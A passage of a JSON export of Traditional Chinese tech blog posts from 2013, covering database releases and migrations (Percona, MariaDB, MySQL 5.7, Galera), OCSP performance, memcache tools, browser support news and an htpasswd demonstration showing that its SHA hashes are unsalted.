/></picture>\r\n\r\n這邊比較時都用 jemalloc，是因為 Percona Server 5.5.30-30.2 是用 jemalloc，比較時必須盡可能維持一樣的條件。\r\n\r\n圖表可以看到 Percona 把 5.6 的改善方式再改善，然後 backport 回 5.5，使得沒有被飆為 read only transaction 的 query 也能受益。",
    "title": "Percona Server 5.5.30-30.2 (based on MySQL 5.5.30) 的改善"
  },
  {
    "id": "3292",
    "body": "<a href=\"http://www.netcraft.com/\">Netcraft</a> 從 2012 年 11 月開始偵測 <a href=\"https://en.wikipedia.org/wiki/Online_Certificate_Status_Protocol\">OCSP</a> 的 availability，然後發現各家 OCSP 的穩定性都不太好：「<a href=\"http://news.netcraft.com/archives/2013/04/16/certificate-revocation-and-the-performance-of-ocsp.html\">Certificate revocation and the performance of OCSP</a>」。\r\n\r\nOCSP 是 Online Certificate Status Protocol 的縮寫，當 HTTPS 連線建立中，client 可以透過 OCSP 詢問這份 certificate 是否有效。這是 PKI 架構下的事後補救機制，因為已經發出去的簽名是無法被收回的，只好靠連線時再查詢。\r\n\r\n另外一個機制比較舊，叫 CRL (<a href=\"https://en.wikipedia.org/wiki/Revocation_list\">Certificate Revocation List</a>)，則是屬於清單類的機制，更新速度比 OCSP 慢。\r\n\r\n目前是以 OCSP 為主，而舊的平台 (就是 XP 上的 IE) 則只支援 CRL。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/cnzCpBl.webp\" /><img src=\"https://i.gslin.com/imgur/cnzCpBl.jpg\" alt=\"\" /></picture>\r\n\r\n可以看到 OCSP 檢查打開後對於速度的影響，有的影響很明顯，有的還好。而原文下面很多張 uptime 圖表也可以看出來各家 OCSP 的穩定性其實不怎樣，有些是直接上 <a href=\"http://www.akamai.com/\">Akamai</a> 解決，有些是上 <a href=\"http://www.cloudflare.com/\">CloudFlare</a> 解決 (然後遇到幾次 CloudFlare 爆炸就跟著炸 XD)\r\n\r\n目前瀏覽器大多都是 soft-fail，也就是查不到就當作 pass。照目前的穩定性要推動 hard-fail (查不到就 break) 應該是頗有難度...\r\n\r\n對於 HTTPS 速度很在意的人可以看一下內文的說明，可以挑 OCSP 速度比較快的幾家簽，對速度會有幫助...",
    "title": "OCSP 是如何影響 HTTPS 的效率..."
  },
  {
    "id": "3293",
    "body": "在 <a href=\"https://www.usenix.org/conference/nsdi13\">NSDI '13</a> 上 <a href=\"https://www.facebook.com/\">Facebook</a> 的工程師有講到 Facebook 內的 Memcache 的架構：「<a href=\"https://www.usenix.org/conference/nsdi13/scaling-memcache-facebook\">Scaling Memcache at Facebook</a>」，有影片可以看，也有 PDF 投影片可以下載。\r\n\r\n其實 2013 年這次的 conference 提到的架構以前就有提過了... 雖然一時間找不到之前提到架構的投影片，但還是可以配合著以前提到各種架構的文章與投影片看出 Facebook 怎麼利用 Memcache 架構 cache layer：\r\n<ul>\r\n\t<li>2007 年的「<a href=\"http://lists.danga.com/pipermail/memcached/2007-May/004098.html\">Largest production memcached install?</a>」</li>\r\n\t<li>2008 年的「<a href=\"https://www.facebook.com/note.php?note_id=23844338919\">Scaling Out</a>」。</li>\r\n\t<li>2008 年的「<a href=\"http://www.slideshare.net/guoqing75/4069180-caching-performance-lessons-from-facebook\">Caching Performance Lessons From Facebook</a>」。</li>\r\n\t<li>2008 年的「<a href=\"https://www.facebook.com/note.php?note_id=39391378919\">Scaling memcached at Facebook</a>」。</li>\r\n\t<li>2010 年在 QCon 的「<a href=\"http://qcontokyo.com/pdf/qcon_MarcKwiatkowski.pdf\">memcache@facebook</a>」 (PDF)。</li>\r\n\t<li>2013 年的「<a href=\"https://www.facebook.com/notes/facebook-engineering/mcdipper-a-key-value-cache-for-flash-storage/10151347090423920\">McDipper: A key-value cache for Flash storage</a>」。</li>\r\n</ul>\r\nFacebook 會這樣設計 Memcache 架構，跟 Facebook 用 <a href=\"http://www.php.net/\">PHP</a> 的方式有關，是在 PHP 的限制下想辦法爭取效率的作法。\r\n\r\n不過這些投影片裡的資料畢竟是有年代了，現在的 <a href=\"http://memcached.org/\">memcached</a> 改善了很多，跟當年的情況不太一樣，看之前的投影片最好知道當時 memcached 有哪些問題會比較能理解 Facebook 的工程師們想要解決什麼問題。",
    "title": "Facebook 的 Memcache 架構..."
  },
  {
    "id": "3294",
    "body": "IRC 上看到<a href=\"http://slzzp.blogspot.com/\">肥睡睡</a>提到<a href=\"http://www.lenovo.com/\">聯想</a>想要買下 <a href=\"http://www.ibm.com/\">IBM</a> 的低階伺服器部門：「<a href=\"http://www.bloomberg.com/news/2013-04-18/ibm-said-to-be-in-talks-to-sell-low-end-server-unit-to-lenovo.html\">Lenovo Said to Be in Talks to Buy IBM Server Business</a>」。\r\n\r\n是多低階啊... 照新聞裡面提到的，看起來是整個 X 系列？hmmm...",
    "title": "聯想希望買下 IBM 的低階伺服器部門..."
  },
  {
    "id": "3296",
    "body": "<a href=\"http://slashdot.org/\">Slashdot</a> 上看到 <a href=\"http://www.debian.org/\">Debian</a> 7.0 預定在五月第一個週末出版：「<a href=\"http://linux.slashdot.org/story/13/04/18/1843251/debian-70-wheezy-release-planned-for-1st-weekend-in-may\">Debian 7.0 ('Wheezy') Release Planned For 1st Weekend in May</a>」，在「<a href=\"http://wiki.debian.org/NewInWheezy\">NewInWheezy</a>」可以看到有哪些變動。\r\n\r\n<a href=\"https://zh.wikipedia.org/wiki/Ext4\">ext4</a> 變成 default filesystem，然後透過 <a href=\"http://fuse.sourceforge.net/\">FUSE</a> 支援 <a href=\"https://zh.wikipedia.org/wiki/ExFAT\">exFAT</a>。\r\n\r\n上次的 Debian 6.0 是 2011 年 2 月 6 日，兩年多了... 還是維持一貫的更新速度... XD",
    "title": "Debian 7.0 預定在五月初出版..."
  },
  {
    "id": "3298",
    "body": "<a href=\"http://jquery.com/\">jQuery</a> 2.0 的消息：「<a href=\"http://blog.jquery.com/2013/04/18/jquery-2-0-released/\">jQuery 2.0 Released</a>」。2.0 版與 1.9 的功能相同，只差在支援度：停止對 IE{6,7,8} 的維護及 workaround。\r\n\r\n如同半年前在「<a href=\"http://blog.gslin.org/archives/2012/07/15/2907/jquery-2-0-%E5%B0%87%E6%94%BE%E6%A3%84-ie678-%E7%9A%84%E4%BA%8B%E6%83%85/\">jQuery 2.0 將放棄 IE{6,7,8} 的事情...</a>」講的，如果在 <a href=\"http://ejohn.org/\">John Resig</a> 還在的時候應該不會放棄 IE8...\r\n\r\n這是 2012 年七月的數字：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/5l9Hp.webp\" /><img src=\"https://i.gslin.com/imgur/5l9Hp.jpg\" alt=\"\" /></picture>\r\n\r\n這是 2013 年三月現在的數字：\r\n\r\n<img src=\"https://i.gslin.com/imgur/iZf6aDX.jpg\" alt=\"\" />\r\n\r\n仍然是超過 10% 而且不太往下掉的數字...",
    "title": "不支援 IE{6,7,8} 的 jQuery 2.0..."
  },
  {
    "id": "3299",
    "body": "維基百科官方宣佈兩個條目最多的資料庫 (英文與德文) 已經從 <a href=\"http://dev.mysql.com/\">MySQL</a> (有 FB patch 的版本) 轉移到 <a href=\"https://mariadb.org/\">MariaDB</a> 5.5 了：「<a href=\"https://blog.wikimedia.org/2013/04/22/wikipedia-adopts-mariadb/\">Wikipedia Adopts MariaDB</a>」。\r\n\r\n維基百科的資料庫從 MySQL 4.0 升級到 MySQL 5.1 時花了不少功夫轉換 (可以想像出來，這兩個版本的差距...)，然後這次再到這次的 MariaDB 5.5 就輕鬆不少。\r\n\r\n在文章內有提到因為維基百科是 read-heavy site，大多數前端的負荷都在 <a href=\"http://www.squid-cache.org/\">squid</a> 層擋下來，實際到後端的量則是再透過 <a href=\"http://redis.io/\">Redis</a> 與 <a href=\"http://memcached.org/\">memcached</a> 打散負荷。不過即使做了這麼多層 cache，英文版資料庫在尖峰時間還是有 50k qps 的量在跑。\r\n\r\n尖峰時間這 50k qps 的量有 80% (也就是 40k qps) 是打散到兩台不同地點的 slave 上，平均的 query response time 是 0.2ms，95% 則是 50ms (好高)，其他的 20% 是寫入 master 需求，或是因寫入 master 時需要一致性 (也就是要避免 replication lag 造成的問題)。\r\n\r\n這次升級到 MariaDB 5.5.30 是先準備一台新機器，然後在 load balancer 上換掉其中一台 slave (先建後拆)，如果 MariaDB 真的有問題也可以馬上 rollback 回來。另外用 <a href=\"http://www.percona.com/doc/percona-toolkit/2.2/pt-query-digest.html\">pt-query-digest</a> 取樣分析 query 的狀況。\r\n\r\n這是成果：\r\n<blockquote>For our most common query type, 95th percentile times over an 8-hour period dropped from 56ms to 43ms and the average from 15.4ms to 12.7ms. 50th percentile times remained a bit better with the 5.1-facebook build over the sample period, 0.185ms vs. 0.194ms. Many query types were 4-15% faster with MariaDB 5.5.30 under production load, a few were 5% slower, and nothing appeared aberrant beyond those bounds.</blockquote>\r\n第一台觀察一陣子沒問題後，接下來一台一台換掉。然後發公告慶祝 :p",
    "title": "維基百科英文版與德文版的資料庫 (條目最多的兩個語言) 從 MySQL 轉移到 MariaDB 了..."
  },
  {
    "id": "3302",
    "body": "<a href=\"http://news.netcraft.com/\">Netcraft</a> 開始放 <a href=\"https://en.wikipedia.org/wiki/Online_Certificate_Status_Protocol\">OCSP</a> 的效能資訊了。由於有個排名在上面跑，這對於 SSL 供應商應該會有一定的壓力去改善服務品質：「<a href=\"http://news.netcraft.com/archives/2013/04/22/ocsp-server-performance-in-march-2013.html\">OCSP Server Performance in March 2013</a>」。\r\n\r\n前面十名幾乎都是 <a href=\"http://www.verisign.com/\">Verisign</a> 與 <a href=\"http://www.akamai.com/\">Akamai</a>，而 Verisign 都是用 <a href=\"http://www.citrix.com/netscaler\">Citrix Netscaler</a>。繼續觀察看看好了...",
    "title": "Netcraft 放出 OCSP 伺服器效能資訊..."
  },
  {
    "id": "3303",
    "body": "<a href=\"http://www.oracle.com/\">Oracle</a> 的「<a href=\"http://dev.mysql.com/doc/refman/5.7/en/mysql-nutshell.html\">MySQL :: MySQL 5.7 Reference Manual :: 1.4 What Is New in MySQL 5.7</a>」列出 <a href=\"http://dev.mysql.com/\">MySQL</a> 5.7 預定會有的功能。由於還在發展階段，這頁還會繼續變動。\r\n\r\n針對 <code>ALTER TABLE</code> 有不少改善，以下的條件下 <code>ALTER TABLE</code> 將不會產生 temporily table (不會卡住)：\r\n<ul>\r\n\t<li>table 改名。</li>\r\n\t<li>column 改名。</li>\r\n\t<li>column 改 default value。</li>\r\n\t<li>enum 或 set 在不修改原來值的情況下增加值。</li>\r\n\t<li>partition 相關操作。</li>\r\n\t<li>index 改名。</li>\r\n\t<li>index 新增與刪除。(僅限 InnoDB)</li>\r\n</ul>\r\n幾個常見的操作變得更簡單了，<a href=\"http://www.percona.com/doc/percona-toolkit/2.1/pt-online-schema-change.html\">pt-online-schema-change</a> 的功能會慢慢被整合回 MySQL。\r\n\r\n然後 InnoDB 要支援 spatial data types 了，不過 index 還沒支援... 不知道有沒有機會看到 :o",
    "title": "MySQL 5.7..."
  },
  {
    "id": "3304",
    "body": "<a href=\"http://techcrunch.com/\">TechCrunch</a> 上看到這兩家合併的消息：「<a href=\"http://techcrunch.com/2013/04/23/skysql-merges-with-mariadb-to-solidify-its-open-source-database-position/\">SkySQL Merges With MariaDB Creator Monty Program To Solidify Its Open Source Database Position</a>」。\r\n\r\n原 <a href=\"http://www.skysql.com/\">SkySQL</a> 頭接任 CEO，原 <a href=\"http://montyprogram.com/\">Monty Program Ab</a> 頭接任 CTO。對 SkySQL 沒什麼好印象，這合併是要幹什麼...",
    "title": "SkySQL 與 Monty Program Ab 合併..."
  },
  {
    "id": "3305",
    "body": "昨天看到日本警察廳希望 ISP 阻擋 <a href=\"https://www.torproject.org/\">Tor</a> 的新聞：「<a href=\"http://arstechnica.com/tech-policy/2013/04/japanese-police-ask-isps-to-start-blocking-tor/\">Japanese police ask ISPs to start blocking Tor</a>」、「<a href=\"http://www.bbc.co.uk/news/technology-22248692\">Japanese police target users of Tor anonymous network</a>」。\r\n\r\n原始的報導是「<a href=\"http://mainichi.jp/select/news/20130418k0000e040232000c.html\">警察庁有識者会議:サイト管理者が通信遮断を　匿名悪用で</a>」，英文版是「<a href=\"http://mainichi.jp/english/english/newsselect/news/20130418p2a00m0na013000c.html\">NPA to urge ISP industry to help site administrators block users of hijacking software</a>」。\r\n\r\n是日本... 這有點讓人出乎意料 XDDD",
    "title": "日本警察廳希望 ISP 阻擋 Tor..."
  },
  {
    "id": "3306",
    "body": "<a href=\"http://www.lg.com/\">LG</a> 的 <a href=\"http://www.panelook.com/LP097QX1-SPA1_LG%20Display_9.7_LCM_overview_15375.html\">LP097QX1-SPA1</a> 有被<a href=\"http://www.apple.com/\">蘋果</a>拿去當 <a href=\"http://www.apple.com/ipad/\">iPad</a> Retina 的顯示面板，但也有零賣... 於是就有人在 <a href=\"http://www.ebay.com/\">eBay</a> 上面買了一張改裝：「<a href=\"http://emerythacks.blogspot.com/2013/04/connecting-ipad-retina-lcd-to-pc.html\">Connecting an iPad retina LCD to a PC</a>」。\r\n\r\n<img src=\"https://i.gslin.com/imgur/5uOfTAo.jpg\" alt=\"\" />\r\n\r\n在 eBay 買 USD$55，再把其他零件成本一起算進來，全部也才 USD$70... 是個 2048x1536 的高解析度螢幕 XDDD\r\n\r\n下面這兩張的效果真不錯 XD\r\n\r\n<img src=\"https://i.gslin.com/imgur/3hey1qm.jpg\" alt=\"\" />\r\n\r\n<img src=\"https://i.gslin.com/imgur/UDhLex5.jpg\" alt=\"\" />",
    "title": "外接 iPad Retina 面板當螢幕用..."
  },
  {
    "id": "3307",
    "body": "<a href=\"http://openquery.com/\">Open Query</a> 的人給了一個很簡單的方式，只要下一個 SQL query 去查就可以知道有哪些 table 不符合 <a href=\"http://www.codership.com/content/using-galera-cluster\">Galera Cluster</a> 的條件：「<a href=\"http://openquery.com/blog/galera-predeployment-check\">Galera pre-deployment check</a>」。\r\n\r\n就目前看到的說明以及 SQL query 算是 pre-check：回報 okay 不代表上了就沒問題，但如果有回報有問題，表示上了 Galera Cluster 後會遇到問題。\r\n\r\n這個檢查適用於 <a href=\"http://dev.mysql.com/\">MySQL</a> 以及目前常見的 MySQL fork (像是 <a href=\"http://mariadb.org/\">MariaDB</a>、<a href=\"http://www.percona.com/software/percona-server\">Percona Server</a>)。",
    "title": "判斷資料庫是否可以轉移到 Galera Cluster 上的方式..."
  },
  {
    "id": "3308",
    "body": "在「<a href=\"http://blog.gslin.org/archives/2012/12/14/3064/mctop%EF%BC%9Amemcache-top/\">mctop：memcache top</a>」介紹過由 <a href=\"http://www.etsy.com/\">Etsy</a> 所開發的 memcache top 工具 <a href=\"https://github.com/etsy/mctop\">mctop</a>。\r\n\r\n這套軟體用 <a href=\"http://www.ruby-lang.org/\">Ruby</a> 寫，其實就是個 sniffer + packet analyzer，但這套軟體有效能問題。在流量很高的時候無法處理所有封包，而變成 sampling 類型的監控。\r\n\r\n<a href=\"http://www.tumblr.com/\">Tumblr</a> 用 C++ 新寫了一個版本，叫做 <a href=\"https://github.com/tumblr/memkeys\">memkeys</a>。依照軟體的說明，在 1Gbps 滿載時 mctop 約 50% 到 75% 的 packet drop (sampling rate 約 25% 到 50%)，而 memkeys 只有 3% packet drop (sampling rate 約 97%)：「<a href=\"http://engineering.tumblr.com/post/48701285213/open-source-memcache-top\">Open Source - Memcache Top</a>」。\r\n<blockquote>This was originally inspired by mctop from etsy. I found that under load mctop would drop between 50 and 75 percent of packets. Under the same load memkeys will typically drop less than 3 percent of packets. This is on a machine saturating a 1Gb network link.</blockquote>\r\n效能好不少 :p",
    "title": "memkeys：用 C++ 寫的 mctop (memcache top)"
  },
  {
    "id": "3310",
    "body": "看到 <a href=\"http://wiki.postgresql.org/wiki/PGStrom\">PGStorm</a> 這個 <a href=\"http://www.postgresql.org/\">PostgreSQL</a> 上的惡搞套件，可以把本來 CPU 要做的事情丟到 GPU 上加速...\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/dLHQWm9.webp\" /><img src=\"https://i.gslin.com/imgur/dLHQWm9.jpg\" alt=\"\" /></picture>\r\n\r\n不過例子很怪啊，不是用 R-tree index 解決的事情嗎？PostgreSQL 明明就有支援 R-tree index 啊？為什麼會要這樣設計，然後用 table scan？我再回去想想好了...",
    "title": "在 PostgreSQL 上用 GPU 加速計算..."
  },
  {
    "id": "3311",
    "body": "<a href=\"http://mocoloco.com/fresh2/2013/04/23/iota-playing-crds-by-joe-doucet.php\">IOTA PLAYING CARDS BY JOE DOUCET</a>：\r\n\r\n<img src=\"https://i.gslin.com/imgur/nCTY6zt.jpg\" alt=\"\" />",
    "title": "墨水很貴..."
  },
  {
    "id": "3312",
    "body": "<a href=\"http://www.heroku.com/\">Heroku</a> 今天宣佈公開測試 <a href=\"http://aws.amazon.com/\">AWS</a> 歐洲區服務：「<a href=\"https://blog.heroku.com/archives/2013/4/24/europe-region\">Introducing the Europe Region, Now Available in Public Beta</a>」。\r\n\r\nHeroku 是很老牌的 PaaS 服務了，不過一直只有美東第一區 (us-east-1)，不知道是政策的問題，還是 infrastructure 真的綁的太死，反正就是不支援非美東區的服務...\r\n\r\n有歐洲區之後，其他地區應該就快了？",
    "title": "Heroku 公開測試 AWS 歐洲區服務..."
  },
  {
    "id": "3315",
    "body": "白宮在 <a href=\"http://www.tumblr.com/\">Tumblr</a> 上建立了官方帳號「<a href=\"http://whitehouse.tumblr.com/\">The Official White House Tumblr</a>」：「<a href=\"http://www.whitehouse.gov/blog/2013/04/26/launching-white-house-tumblr\">Launching the White House Tumblr</a>」。\r\n\r\n最新的一張圖很有 Tumblr 的調調：\r\n\r\n<img src=\"https://i.gslin.com/imgur/ROuctGN.gif\" alt=\"\" />\r\n\r\n等... 等下，這是官方帳號啊啊啊...",
    "title": "白宮官方 Tumblr 帳號..."
  },
  {
    "id": "3317",
    "body": "剛剛整理 mail alias 時翻到「<a href=\"http://www.ietf.org/rfc/rfc2142.txt\">MAILBOX NAMES FOR COMMON SERVICES, ROLES AND FUNCTIONS</a>」，雖然是十五年前的文件 (1997 年訂的 RFC)，但仍然是很有用的文件。\r\n\r\ninfo、marketing、sales、support 到現在還是很常被使用。abuse、noc、security 也是業界慣例，倒是表列的其他服務用的不多，或是服務逐漸消失 (ftp、news、usenet、uucp)。\r\n\r\n整理出來考古...",
    "title": "常用郵件 alias..."
  },
  {
    "id": "3318",
    "body": "在「<a href=\"http://cross-browser.org/Blog/post/2013/04/29/How-10-Popular-Websites-Are-Displayed-in-IE-5.aspx\">How 10 Popular Websites Are Displayed in IE 5</a>」這篇文章裡拉了十個熱門網站測試 IE5... XD\r\n\r\n<a href=\"http://www.amazon.com/\">Amazon</a> 還不差：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/zeIMuQ4.webp\" /><img src=\"https://i.gslin.com/imgur/zeIMuQ4.jpg\" alt=\"www.amazon.com on IE5\" /></picture>\r\n\r\n<a href=\"http://www.bbc.co.uk/\">BBC</a> 與 <a href=\"http://www.cnn.com/\">CNN</a> 的網站勉強堪用：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/UILcAOV.webp\" /><img src=\"https://i.gslin.com/imgur/UILcAOV.jpg\" alt=\"www.bbc.co.uk on IE5\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/xoSjzBr.webp\" /><img src=\"https://i.gslin.com/imgur/xoSjzBr.jpg\" alt=\"www.cnn.com on IE5\" /></picture>\r\n\r\n<a href=\"http://www.ebay.com/\">eBay</a> 似乎還有最基本的樣子：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/Ss0EbVT.webp\" /><img src=\"https://i.gslin.com/imgur/Ss0EbVT.jpg\" alt=\"www.ebay.com on IE5\" /></picture>\r\n\r\n<a href=\"https://www.facebook.com/\">Facebook</a> 抓登入頁這頁沒意義啊... XD\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/3zt073z.webp\" /><img src=\"https://i.gslin.com/imgur/3zt073z.jpg\" alt=\"www.facebook.com on IE5\" /></picture>\r\n\r\n<a href=\"http://www.google.com/\">Google</a> 的首頁當然也很正常...\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/yJegJbI.webp\" /><img src=\"https://i.gslin.com/imgur/yJegJbI.jpg\" alt=\"www.google.com on IE5\" /></picture>\r\n\r\n<a href=\"http://stackoverflow.com/\">StackOverflow</a> 沒什麼問題：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/DWGxIxu.webp\" /><img src=\"https://i.gslin.com/imgur/DWGxIxu.jpg\" alt=\"stackoverflow.com on IE5\" /></picture>\r\n\r\n<a href=\"http://en.wikipedia.org/\">Wikipedia</a> 的排版幾乎沒亂掉，變得比較樸素一點而已：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/jYKnj51.webp\" /><img src=\"https://i.gslin.com/imgur/jYKnj51.jpg\" alt=\"en.wikipedia.org on IE5\" /></picture>\r\n\r\n接下來是比較慘的，<a href=\"http://wordpress.org/\">WordPress.org</a> 直接爛掉：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/GCfQwz3.webp\" /><img src=\"https://i.gslin.com/imgur/GCfQwz3.jpg\" alt=\"wordpress.org on IE5\" /></picture>\r\n\r\n而 <a href=\"http://www.microsoft.com/\">Microsoft</a> 自家 XDDDDDDDDDDD\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/DxWOjNv.webp\" /><img src=\"https://i.gslin.com/imgur/DxWOjNv.jpg\" alt=\"www.microsoft.com on IE5\" /></picture>",
    "title": "2013年，IE5 在熱門網站的效果..."
  },
  {
    "id": "3319",
    "body": "文章的標題「<a href=\"http://www.mysqlperformanceblog.com/2013/05/01/follow-these-basics-when-migrating-to-percona-xtradb-cluster-for-mysql/\">Follow these basics when migrating to Percona XtraDB Cluster for MySQL</a>」寫的是 <a href=\"http://www.percona.com/software/percona-xtradb-cluster\">Percona XtraDB Cluster</a>，不過基本上就是在講 <a href=\"http://codership.com/content/using-galera-cluster\">Galera Cluster</a>。\r\n\r\n除了已知的 MyISAM 問題與 Primary Key 前提外，還有提到在從 <a href=\"http://dev.mysql.com/\">MySQL server</a> 轉移到 Galera Cluster 過程要怎麼做。\r\n\r\n在這種情況下，會另外準備 server 跑 Galera Cluster (採先建後拆的策略)。新的 cluster 裡其中有一台會以 slave 身份向原來的 MySQL server (master) 取得 binlog 更新。\r\n\r\n<code>log_slave_updates</code> 就是用在這裡。設定後才能讓 Galera Cluster 內的 server 收到 binlog 後記錄下來，之後會複製到其他台。\r\n\r\n當初轉移的時候也有用到，後來因為都是新建就淡忘了，看到 <a href=\"http://www.percona.com/\">Percona</a> 寫的文件才突然想起來有這回事 XD",
    "title": "Percona 提供的「Galera Cluster 前置作業」文件..."
  },
  {
    "id": "3320",
    "body": "<strong>Update</strong>：一次只能選一個字體，找不到全選的地方，然後有一千多個... 還是去網路上找人家包好整包抓比較快。\r\n\r\n在 <a href=\"http://googledevelopers.blogspot.com/\">Google Developers Blog</a> 上看到官方對於下載 <a href=\"http://www.google.com/fonts/\">Google Fonts</a> 的建議方案：「<a href=\"http://googledevelopers.blogspot.com/2013/05/download-google-fonts-to-your-desktop.html\">Download Google fonts to your desktop</a>」。\r\n\r\n<a href=\"http://www.monotype.com/\">Monotype</a> 所推出的工具「<a href=\"http://www.fonts.com/web-fonts/google\">SkyFonts</a>」，支援 Windows 與 Mac 版。當 Google Fonts 有新的字型時，SkyFonts 會自動更新。不過當 Google Fonts 刪除時會發生什麼事情就不知道了...\r\n\r\n會需要 <a href=\"https://en.wikipedia.org/wiki/.NET_Framework\">Microsoft .NET Framework</a> 4.0 與 <a href=\"https://en.wikipedia.org/wiki/Windows_Installer\">WindowsInstaller</a> 4.5 (x86)：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/cs4zOBD.webp\" /><img src=\"https://i.gslin.com/imgur/cs4zOBD.jpg\" alt=\"\" /></picture>\r\n\r\n這樣感覺有點肥... XD",
    "title": "Google 官方提供 Google Fonts 下載的建議方案..."
  },
  {
    "id": "3322",
    "body": "<a href=\"http://aws.amazon.com/cloudfront/\">Amazon CloudFront</a> 與 <a href=\"http://aws.amazon.com/route53/\">Amazon Route53</a> 增加韓國的 PoP，公告在「<a href=\"http://aws.typepad.com/aws/2013/05/amazon-cloudfront-route-53-new-edge-location-in-south-korea.html\">Amazon CloudFront / Route 53 - New Edge Location in Seoul, Korea</a>」這邊。\r\n\r\nCDN 這邊的價錢與 Hong Kong 以及 Singapore 相同，算 Price Class 200 等級。\r\n\r\n剛剛測過，目前的 routing 還算正常：台灣沒有 ISP 導到韓國 PoP，都還是丟到日本與香港的 PoP。\r\n\r\nCloudFront 用的機房代碼是 <code>icn50</code>，可以用 <a href=\"http://aws.amazon.com/\">AWS</a> 自家的 <code>d36cz9buwru1tt.cloudfront.net</code> 與 <code>d36cz9buwru1tt.icn50.cloudfront.net</code> 測試品質。",
    "title": "Amazon CloudFront 與 Route53 增加韓國的 PoP..."
  },
  {
    "id": "3323",
    "body": "剛剛發現 <a href=\"http://httpd.apache.org/docs/2.2/programs/htpasswd.html\">htpasswd</a> (<a href=\"http://httpd.apache.org/\">Apache</a> 的 <code>.htpasswd</code> 檔案產生程式) 提供的 <a href=\"https://zh.wikipedia.org/wiki/SHA%E5%AE%B6%E6%97%8F\">SHA-1</a> 不會使用 salt，不過 <a href=\"https://zh.wikipedia.org/wiki/MD5\">MD5</a> 格式會...\r\n\r\n以密碼「test」測試：\r\n<pre>gslin@colo-p [~] [17:44/W7] touch test.txt\r\ngslin@colo-p [~] [17:44/W7] htpasswd -b -m test.txt test1 test\r\nAdding password for user test1\r\ngslin@colo-p [~] [17:44/W7] htpasswd -b -m test.txt test2 test\r\nAdding password for user test2\r\ngslin@colo-p [~] [17:44/W7] htpasswd -b -s test.txt test3 test\r\nAdding password for user test3\r\ngslin@colo-p [~] [17:44/W7] htpasswd -b -s test.txt test4 test\r\nAdding password for user test4</pre>\r\n結果是：\r\n<pre>test1:$apr1$GU6SyO0y$I.Ng9o4H8Tcje.M2A6ECb0\r\ntest2:$apr1$uqoX9b/x$7zGMAKqRjvoi6HHSKtaRO.\r\ntest3:{SHA}qUqP5cyxm6YcTAhz05Hph5gvu9M=\r\ntest4:{SHA}qUqP5cyxm6YcTAhz05Hph5gvu9M=</pre>\r\n依照說明，htpasswd 使用的 SHA 是移植自 Netscape server 的 LDAP Directory Interchange Format (ldif)：\r\n<blockquote>Use SHA encryption for passwords. Facilitates migration from/to Netscape servers using the LDAP Directory Interchange Format (ldif).</blockquote>\r\n在安全疑慮 (Security Considerations) 上也有註明 htpasswd 使用的 SHA 是不帶 salt：\r\n<blockquote>The SHA encryption format does not use salting: for a given password, there is only one encrypted representation.</blockquote>\r\n現在密碼儲存應該是朝 <a href=\"https://en.wikipedia.org/wiki/Bcrypt\">bcrypt</a> 與 <a href=\"https://en.wikipedia.org/wiki/PBKDF2\">PBKDF2</a> 發展，參考<a href=\"http://blog.ijliao.info/\">依林姊姊</a>的「<a href=\"http://blog.ijliao.info/archives/2012/04/07/4552/\">請愛用 bcrypt 和 PBKDF2</a>」，後者 PBKDF2 被用在 WPA2 上。",
    "title": "htpasswd 的 SHA 不會帶 salt (seed)..."
  },
  {
    "id": "3324",
    "body": "<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/6blXRXn.webp\" /><img src=\"https://i.gslin.com/imgur/6blXRXn.jpg\" alt=\"\" /></picture>\r\n\r\n之前住在南港，所以新莊家裡只辦了 12M/4M 與 <a href=\"http://mod.cht.com.tw/\">MOD</a>，後來搬回新莊後想要升速到 50M/10M，但<a href=\"http://www.cht.com.tw/\">中華電信</a>的客服告知升速後 MOD 的百元優惠無法沿用 (建議我跑一趟中華門市辦理)，只好丟著先不管... 反正查資料、連回公司管事情也還夠用，唯一的缺點就是有時候要抓大檔案時慢了點 :o\r\n\r\n升速後重開數據機，然後測了速度發現的確是有到 20M 後，用了幾個小時還是沒啥感覺，大概要等抓大檔的時候才會有感覺吧？這樣約滿後要不要考慮降到 12M/3M 甚至 6M/2M 啊...",
    "title": "HiNet 升速..."
  },
  {
    "id": "3325",
    "body": "英國的 ISP <a href=\"http://www.bt.com/\">BT Retail</a> 開始測試 CGNAT (<a href=\"https://en.wikipedia.org/wiki/Carrier-grade_NAT\">Carrier-grade NAT</a>) 了：「<a href=\"http://tech.slashdot.org/story/13/05/07/1232234/bt-begins-customer-tests-of-carrier-grade-nat\">BT Begins Customer Tests of Carrier Grade NAT</a>」。\r\n\r\n<del>空前</del>但未必是絕後的大型 NAT 計畫，如果 CGNAT 可行，IPv6 會再往後延個好幾年吧...\r\n\r\n<strong>Update</strong>：被 comment 提醒跑去測試，發現中華的 3G 早就是了：(CGNAT 會用 100.64.0.0/10，範圍到 100.127.255.255)\r\n\r\n<img src=\"https://i.gslin.com/imgur/2Ix5lbz.jpg\" alt=\"\" />",
    "title": "BT Retail 開始實際測試 CGNAT..."
  },
  {
    "id": "3326",
